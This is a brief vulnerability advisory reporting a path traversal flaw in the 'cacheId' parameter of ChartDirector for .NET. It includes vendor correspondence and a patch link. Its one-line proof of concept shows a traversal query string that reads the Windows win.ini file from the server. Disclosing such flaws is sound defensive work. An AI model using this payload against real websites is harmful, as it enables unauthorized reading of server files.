Advisory No.: ISNSC-0910  
=============
ChartDirector Critical File Access 

Information
======
Author: DokFLeed 
Program Affected: http://www.chartdir.com for .NET 
Severity: Critical.
Type of Advisory: Mid Disclosure.
Affected/Tested Versions: Random

Program Description 
==================
Widely used Chart Component on Financial & Stock Trading websites

Overview 
=========
The query variable "cacheId=" is not sanitized, it will can allow critical files download


Proof Of Concept
================
?ChartDirectorChartImage=chart_WebChartViewer1&cacheId=/../../../../../../../../windows/win.ini


Solution/Fix
============
Upgrade to latest Chart Dir or apply the following patch (ChartDirector for .NET Ver 5.0.1 Patch 2): 
http://www.advsofteng.com/netchartdir501p2.zip

Vendor Status
============
Vendor contacted & replied with "The problem you mentions affect ChartDirector for .NET.
The current version of ChartDirector for .NET on our web site (Ver 5.0.2) already has this issue fixed. 
So this issue no longer occurs with the current version of ChartDirector for .NET.
For people using earlier versions of ChartDirector, it is suggested they upgrade to the latest version. 
They may also apply the following patch (ChartDirector for .NET Ver 5.0.1 Patch 2): 
http://www.advsofteng.com/netchartdir501p2.zip   "

Reference
============
http://dokfleed.net/duh/modules.php?name=News&file=article&sid=48